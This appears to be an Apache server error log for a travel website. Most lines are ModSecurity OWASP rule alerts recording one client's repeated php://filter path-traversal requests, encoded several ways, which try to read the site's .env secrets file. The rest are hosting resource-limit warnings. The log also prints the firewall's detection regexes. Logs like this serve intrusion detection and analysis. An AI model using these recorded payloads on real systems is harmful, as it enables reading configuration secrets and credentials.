[Fri Jul 17 08:55:12.412451 2026] [hostinglimits:warn] [pid 2014256:tid 2014256] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2014256) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.412475 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:lang. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:lang: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlPwAAAA0"]
[Fri Jul 17 08:55:12.412691 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIl9vhFBGA6D8l952QAAAAw"]
[Fri Jul 17 08:55:12.412724 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmIZvbo7N5o5zeYC-PwAAABw"]
[Fri Jul 17 08:55:12.412783 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.413035 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmIl9vhFBGA6D8l952QAAAAw"]
[Fri Jul 17 08:55:12.413458 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmCvekYYQ8uns4MwlPwAAAA0"]
[Fri Jul 17 08:55:12.413557 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.413850 2026] [security2:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmCvekYYQ8uns4MwlPwAAAA0"]
[Fri Jul 17 08:55:12.424526 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&language=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&token=mxhFl8BgOjaq5ZazQByoJf8-Lj7koeKQe4WDaD-FDKZYKAYMHgWs5CO-Y0epvU6tif_7eDTZBrrzBU_LE3gbE8-_mtj5e_4lK9UFPIDBJECkLs2cbgRuME7rT3LgB7ho0sJs4sJnBRWvytx7BPFg2U6wzVmMr_p3qs3ZbTa-1seDtcuU4ionRG5e52ymbqhVx_KKqescjRabWZZPoOCKev3TG0u-38VExtzdknBG_V0hF06ivhDEx3COoBWCX5G8GN0gg2PeTBO9EJtUGiUAlq17&ref=WDAP2JWO4SGRDV732I4DVEG6V6UUKU6TY5AMNU2RBPHCZVYFJHW4PO7HID5QUXKM555W5HOBQJIDA..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLgAAABQ"]
[Fri Jul 17 08:55:12.424631 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLgAAABQ"]
[Fri Jul 17 08:55:12.424744 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.base64-encode/resource=../../.env&token=mxhFl8BgOjaq5ZazQByoJf8-Lj7koeKQe4WDaD-FDKZYKAYMHgWs5CO-Y0epvU6tif_7eDTZBrrzBU_LE3gbE8-_mtj5e_4lK9UFPIDBJECkLs2cbgRuME7rT3LgB7ho0sJs4sJnBRWvytx7BPFg2U6wzVmMr_p3qs3ZbTa-1seDtcuU4ionRG5e52ymbqhVx_KKqescjRabWZZPoOCKev3TG0u-38VExtzdknBG_V0hF06ivhDEx3COoBWCX5G8GN0gg2PeTBO9EJtUGiUAlq17&ref=WDAP2JWO4SGRDV732I4DVEG6V6UUKU6TY5AMNU2RBPHCZVYFJHW4PO7HID5QUXKM555W5HOBQJIDARUIMON7QTGJ6PB445RREN75U..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLgAAABQ"]
[Fri Jul 17 08:55:12.424824 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.base64-encode/resource=../../.env&token=mxhfl8bgojaq5zazqbyojf8-lj7koekqe4wdad-fdkzykaymhgws5co-y0epvu6tif_7edtzbrrzbu_le3gbe8-_mtj5e_4lk9ufpidbjeckls2cbgrume7rt3lgb7ho0sjs4sjnbrwvytx7bpfg2u6wzvmmr_p3qs3zbta-1sedtcuu4ionrg5e52ymbqhvx_kkqescjrabwzzpoockev3tg0u-38vextzdknbg_v0hf06ivhdex3coobwcx5g8gn0gg2petbo9ejtugiualq17&ref=wdap2jwo4sgrdv732i4dveg6v6uuku6ty5amnu2rbphczvyfjhw4po7hid5quxkm555w5hobqjidaruimon7qtgj6pb445rren75u..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLgAAABQ"]
[Fri Jul 17 08:55:12.424884 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLgAAABQ"]
[Fri Jul 17 08:55:12.424934 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/convert.iconv.utf-8.utf-7/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kgAAABA"]
[Fri Jul 17 08:55:12.424947 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLgAAABQ"]
[Fri Jul 17 08:55:12.425458 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:language: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLgAAABQ"]
[Fri Jul 17 08:55:12.425945 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kgAAABA"]
[Fri Jul 17 08:55:12.426082 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.426392 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmEkXT4NBqALj2lZ8kgAAABA"]
[Fri Jul 17 08:55:12.427086 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEgVnBK6wAv37w6sLgAAABQ"]
[Fri Jul 17 08:55:12.427289 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.429418 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&language=php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%2Fresource%3D..%2F..%2F.env&ts=cyQTJSGj2n384nJkVgQ6EWIsCU1BUegBN4i0p0gWbKJw19Zhf98mftE5-WRpwE_PDtYejckqnZaxYORN3IBIf1L50rIqtrqQvah0CIoEl_jqz65tIo-2ls32E3tYk6frBEdS_UewX3l0tYARWUt6hEoh3aOu3p1l33pZhSGkHHrjzzwXHc9cN2a46wnoUo5FUjUOcgbUhzi2xB0dlO1ItMA7ui0fkyK2L7pVHuQAGrd0FxD8M15y4Rnv8TN04yi-PoTuxU-MKhqv4NQB3KEKsjC6&cb=S3TE35N7RT5OFJIPTLQWGMCA4KMOONKS5XESXIFAPEVGMSBE7VIYOSTTQ3NZRF6LXQAQHWXGMHOER..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqwAAABk"]
[Fri Jul 17 08:55:12.429467 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqwAAABk"]
[Fri Jul 17 08:55:12.429540 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&ts=cyQTJSGj2n384nJkVgQ6EWIsCU1BUegBN4i0p0gWbKJw19Zhf98mftE5-WRpwE_PDtYejckqnZaxYORN3IBIf1L50rIqtrqQvah0CIoEl_jqz65tIo-2ls32E3tYk6frBEdS_UewX3l0tYARWUt6hEoh3aOu3p1l33pZhSGkHHrjzzwXHc9cN2a46wnoUo5FUjUOcgbUhzi2xB0dlO1ItMA7ui0fkyK2L7pVHuQAGrd0FxD8M15y4Rnv8TN04yi-PoTuxU-MKhqv4NQB3KEKsjC6&cb=S3TE35N7RT5OFJIPTLQWGMCA4KMOONKS5XESXIFAPEVGMSBE7VIYOSTTQ3NZRF6LXQAQHWXGMHOERNVQZRGRWO4JSXMFAHYU736KL..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqwAAABk"]
[Fri Jul 17 08:55:12.429609 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&language=php://filter/convert.iconv.utf-8.utf-7/resource=../../.env&ts=cyqtjsgj2n384njkvgq6ewiscu1buegbn4i0p0gwbkjw19zhf98mfte5-wrpwe_pdtyejckqnzaxyorn3ibif1l50riqtrqqvah0cioel_jqz65tio-2ls32e3tyk6frbeds_uewx3l0tyarwut6heoh3aou3p1l33pzhsgkhhrjzzwxhc9cn2a46wnouo5fujuocgbuhzi2xb0dlo1itma7ui0fkyk2l7pvhuqagrd0fxd8m15y4rnv8tn04yi-potuxu-mkhqv4nqb3keksjc6&cb=s3te35n7rt5ofjiptlqwgmca4kmoonks5xesxifapevgmsbe7viyosttq3nzrf6lxqaqhwxgmhoernvqzrgrwo4jsxmfahyu736kl..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqwAAABk"]
[Fri Jul 17 08:55:12.429657 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqwAAABk"]
[Fri Jul 17 08:55:12.429687 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.iconv.utf-8.utf-7/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqwAAABk"]
[Fri Jul 17 08:55:12.429724 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&language=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&token=OBaNh2p8xlwTAeuIfpnuqQJnCiYxt6kXlgHXEPMnvdo1O9RFbX3Ke_mKnt-LTc4A1sReb3Y6v20GnHaF3nBA55VgbNJz7F6UST8hE34P36TN29k2sKVQaCG3QXkG_j3wK_18gNQuNrHLc_mEWeYdI1fRz5CZSoCwt5jRr6dbOugvgr-blj2u61zGWqIwtE_tndvB-qAjbaNOzJIXWmxWIeSr3bN9a1dejHkwyF21STQqgkIuTZB-p9i-k6ckC8JWNhycPyn2YVDfxGWHJa5fnFTr&extra=OYPCWK7WZC6IYQ5HKG2GSXRHGYRN6CXNSG27EJ7NIOG77KIMYEMAWNZSK6HG2XAEWILYDJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUgAAAAY"]
[Fri Jul 17 08:55:12.429799 2026] [security2:error] [pid 1993671:tid 1993671] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:language. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:language: php://filter/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA5GPQ6hs4VrfMpBUgAAAAY"]
